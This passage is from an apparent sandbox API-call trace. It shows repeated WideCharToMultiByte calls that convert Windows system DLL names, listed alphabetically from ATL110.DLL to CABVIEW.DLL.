lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0x18c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL110.DLL", lpUsedDefaultChar=0x0) returned 10 [0227.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0x18c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMFD.DLL", lpUsedDefaultChar=0x0) returned 9 [0227.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0x18c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMLIB.DLL", lpUsedDefaultChar=0x0) returned 10 [0227.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIODEV.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0x18c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOENG.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOKSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0x18c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOSES.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0227.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0x18c120, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITNATIVESNAPIN.DLL", lpUsedDefaultChar=0x0) returned 21 [0227.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0227.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0x18c288, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLICYGPINTEROP.DLL", lpUsedDefaultChar=0x0) returned 24 [0227.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0227.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0x18c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLMSG.DLL", lpUsedDefaultChar=0x0) returned 15 [0227.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0227.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0x18c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWCFG.DLL", lpUsedDefaultChar=0x0) returned 13 [0227.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWGP.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0227.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0x18c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWSNAPIN.DLL", lpUsedDefaultChar=0x0) returned 16 [0227.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0227.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0x18c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWWIZFWK.DLL", lpUsedDefaultChar=0x0) returned 16 [0227.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0x18c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0227.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0x18c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHZ.DLL", lpUsedDefaultChar=0x0) returned 9 [0227.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0x18c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTOPLAY.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0227.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0x18c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYAPI.DLL", lpUsedDefaultChar=0x0) returned 23 [0227.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0227.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0x18c288, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYCPL.DLL", lpUsedDefaultChar=0x0) returned 23 [0227.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVICAP32.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0x18c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVIFIL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0x18c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVRT.DLL", lpUsedDefaultChar=0x0) returned 8 [0227.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0x18c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLES.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0x18c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZSQLEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BASECSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0x18c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BATMETER.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0x18c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPT.DLL", lpUsedDefaultChar=0x0) returned 10 [0227.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0227.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0x18c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPTPRIMITIVES.DLL", lpUsedDefaultChar=0x0) returned 20 [0227.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIDISPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0227.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0x18c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIOCREDPROV.DLL", lpUsedDefaultChar=0x0) returned 15 [0227.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPERF.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0x18c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX2.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX3.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0x18c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX4.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX5.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0x18c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX6.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BLACKBOX.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0x18c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BOOTVID.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0x18c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWSEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BTPANUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0227.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0x18c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWCONTEXTHANDLER.DLL", lpUsedDefaultChar=0x0) returned 20 [0227.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0227.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0x18c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWUNPAIRELEVATED.DLL", lpUsedDefaultChar=0x0) returned 20 [0227.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0x18c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABINET.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 